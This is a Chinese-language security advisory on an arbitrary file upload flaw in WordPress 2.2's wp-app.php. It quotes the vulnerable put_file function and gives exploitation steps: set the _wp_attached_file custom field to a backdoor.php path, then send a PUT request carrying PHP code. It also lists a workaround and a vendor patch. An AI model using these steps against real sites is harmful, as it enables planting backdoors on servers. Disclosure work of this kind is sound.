WordPress自定义字段任意文件上传漏洞
2008-10-04
系统编号:
WAVDB-01110
BUGTRAQ: 24642
影响版本:
WordPress 2.2
程序介绍:
WordPress是一款免费的论坛Blog系统。
漏洞分析:
WordPress处理用户提交的数据时存在漏洞,远程攻击者可能利用此漏洞非授权操作文件。
WordPress允许上传有限的文件附件组,其中名称、标题等以post_type=attachment存储到了wp_posts表中,而路径和其他文件属性以名为_wp_attached_file和_wp_attachment_metadata的特殊字段被存储到了wp_postmeta表中。
WordPress还允许在正常的张贴或页面中添加自定义字段,该自定义字段也被存储到了wp_postmeta表中,但没有检查正常的张贴中是否添加了附件的这个特殊的meta-data字段。
wp-app.php中的以下函数允许上传任意文件:
- function put_file($postID) {
- $type = $this->get_accepted_content_type();
- // first check if user can upload
- if(!current_user_can('upload_files'))
- $this->auth_required(__('You do not have permission to upload files.'));
- // check for not found
- global $entry;
- $this->set_current_entry($postID);
- // then whether user can edit the specific post
- if(!current_user_can('edit_post', $postID)) {
- $this->auth_required(__('Sorry, you do not have the right to edit this post.'));
- }
- $location = get_post_meta($entry['ID'], '_wp_attached_file', true);
- if(!isset($location))
- $this->internal_error(__('Error ocurred while accessing post metadata for file location.'));
- $fp = fopen("php://input", "rb");
- $localfp = fopen($location, "w+");
- while(!feof($fp)) {
- fwrite($localfp,fread($fp, 4096));
- }
- fclose($fp);
- fclose($localfp);
- log_app('function',"put_file($postID)");
- $this->ok();
- }
这个函数主要用于加载第一个附件的路径,并写入张贴到wp-app.php的内容,因此如果攻击者能够用合适的文件名覆盖第一个元数据附件的值,就会向该文件写入所有的内容。
漏洞利用:
创建一个帖子并将以下值添加或覆盖到自定义字段:
key : _wp_attached_file
value : /home/vulnerable.com/wp/wp-content/uploads/backdoor.php
向wp-app.php发送PUT请求,传送上一步的post_ID值:
PUT /wp/wp-app.php?action=/attachment/file/post_ID HTTP/1.1
Cookie: auth cookies
Content-Type: image/gif
Host: vulnerable.com
Content-Length: the content length
<?php echo "Hello World"; ?>
解决方案:
临时解决方法:
* 禁止访问wp-app.php或app.php。
厂商补丁:
WordPress
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://trac.mu.wordpress.org/changeset/1005
信息来源:
<*来源:Alexander Concha (alex@buayacorp.com)
链接:http://secunia.com/advisories/25794/
http://www.buayacorp.com/files/wordpress/wordpress-advisory.html
*>